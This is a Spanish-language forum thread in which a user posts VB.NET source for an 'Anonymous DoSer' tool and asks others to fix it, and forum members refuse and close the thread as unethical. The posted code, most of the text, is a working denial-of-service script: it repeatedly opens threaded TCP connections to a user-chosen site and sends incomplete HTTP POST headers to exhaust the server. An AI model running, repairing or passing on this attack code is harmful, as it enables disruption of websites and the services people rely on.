A ver si alguien puede arreglar este código.

[iDDoS]

Código (vbnet) [Seleccionar] Expandir

Private Shared Sub Main(ByVal args As String())
   Console.ForegroundColor = ConsoleColor.Yellow
   Console.WriteLine(ChrW(10) & "             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
   Console.WriteLine("             .oOo.------------.[ Anonymous DoSer ].------------.oOo." & ChrW(10))
   Console.ForegroundColor = ConsoleColor.Magenta
   Console.Write("Website [URL/IP] : ")
   Dim website As String = Console.ReadLine
   Console.Write("Time [SECONDS] : ")
   Dim s As String = Console.ReadLine
   Console.Write(ChrW(10))
   Dim count As Integer = 1
   Dim loop As Boolean = True
   New Thread(Function
       Dim start As ThreadStart = Nothing
       Dim clients As New List(Of TcpClient)()
       Do While [loop]
           If (start Is Nothing) Then
               start = Function
                   Dim item As New TcpClient()
                   clients.Add(item)
                   Try
                       item.Connect(website, 80)
                       Dim writer As New StreamWriter(item.GetStream)
                       writer.Write(("POST / HTTP/1.1" & ChrW(13) & ChrW(10) & "Host: " & website & ChrW(13) & ChrW(10) & "Content-length: 5235" & ChrW(13) & ChrW(10) & ChrW(13) & ChrW(10)))
                       writer.Flush
                       If [loop] Then
                           Console.ForegroundColor = ConsoleColor.Green
                       End If
                       Console.WriteLine(("Server Is Up / Packets sent: " & count))
                       count += 1
                   Catch exception1 As Exception
                       If [loop] Then
                           Console.ForegroundColor = ConsoleColor.Red
                       End If
                       Console.WriteLine("DoS Succeeded, Server Down!")
                   End Try
               End Function
           End If
           New Thread(start).Start
           Thread.Sleep(50)
       Loop
       Dim client As TcpClient
       For Each client In clients
           Try
               client.GetStream.Dispose
           Catch exception1 As Exception
           End Try
       Next
   End Function).Start
   Thread.Sleep(CInt((Integer.Parse(s) * &H3E8)))
   [loop] = False
   Console.WriteLine(ChrW(10) & "DoS Completed")
   Console.WriteLine("Press any key to Close...")
   Console.ReadKey
End Sub





PD: Imports System.Threading
     Imports System.Net.Sockets
     Imports System.IO

Mod: los códigos deben ir en etiquetas GeSHi

[engel lex]

te bajas un código para DOs de internet y a demás quieres que te lo arreglen?

no se hacen tareas ni trabajos... se resuelven dudas...

este tema a demás lo asumo no etico

Tema Cerrado

[Eleкtro]

Además, las preguntas consideradas de mala calidad (sin ni siquiera un maldito párrafo donde expliques el problema que tengas) suelen ser ignoradas por la mayoría de usuarios, pon de tu parte, esfuérzate un poco, y entonces quizás los demás hagamos lo mismo por tí.

Este es un foro de calidad, un lugar de información, donde hay que seguir unas normas de comportamiento y de publicación.

Si quieres tener una segunda oportunidad, te sugiero que hagas caso de lo que te ha comentado el compañero @Engel Lex, y además apliques los consejos que puedes leer aquí:

• 10 pasos para plantear una duda informática
• FAQ : Como hacer preguntas "inteligentes"

Saludos!